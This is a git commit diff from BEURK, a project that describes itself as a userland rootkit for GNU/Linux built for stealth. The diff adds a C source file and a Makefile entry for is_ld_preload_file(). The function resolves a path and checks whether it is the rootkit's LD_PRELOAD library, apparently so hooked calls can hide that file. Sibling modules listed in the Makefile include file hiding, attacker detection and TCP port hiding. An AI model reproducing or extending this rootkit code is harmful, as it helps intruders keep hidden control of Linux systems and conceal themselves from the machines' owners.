feat(core): add is_ld_preload_file()

use readpath() instead of strstr() in hooks functions
to handle relative and absoluth path

Author: chqrly

Makefile

@@ -33,6 +33,7 @@ SOURCES		= src/init.c \
 			  src/config.c \
 			  src/debug.c \
 			  src/is_hidden_file.c \
+			  src/is_ld_preload_file.c \
 			  src/is_attacker.c \
 			  src/is_procnet.c \
 			  src/hide_tcp_ports.c \

src/is_ld_preload_file.c

@@ -0,0 +1,42 @@
+/*
+ * BEURK is an userland rootkit for GNU/Linux, focused around stealth.
+ * Copyright (C) 2015  unix-thrust
+ *
+ * This file is part of BEURK.
+ *
+ * BEURK is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * BEURK is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with BEURK.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <limits.h> /* PATH_MAX */
+#include <stdlib.h> /* realpath(), free()*/
+#include <string.h> /* strcmp() */
+#include "beurk.h" /* prototype */
+#include "config.h" /* FILE, MAX_LEN, MAGIC_STRING, LIBRARY_NAME, ... */
+#include "debug.h" /* DEBUG() */
+
+
+int         is_ld_preload_file(const char *file) {
+    init();
+    DEBUG(D_INFO, "called is_ld_preload_file()");
+
+    char    *path;
+    int     ret;
+
+    path = realpath(file, NULL);
+    if (path == NULL)
+        return 0;
+    ret = !strcmp(path, LD_PRELOAD);
+    free(path);
+    return ret;
+}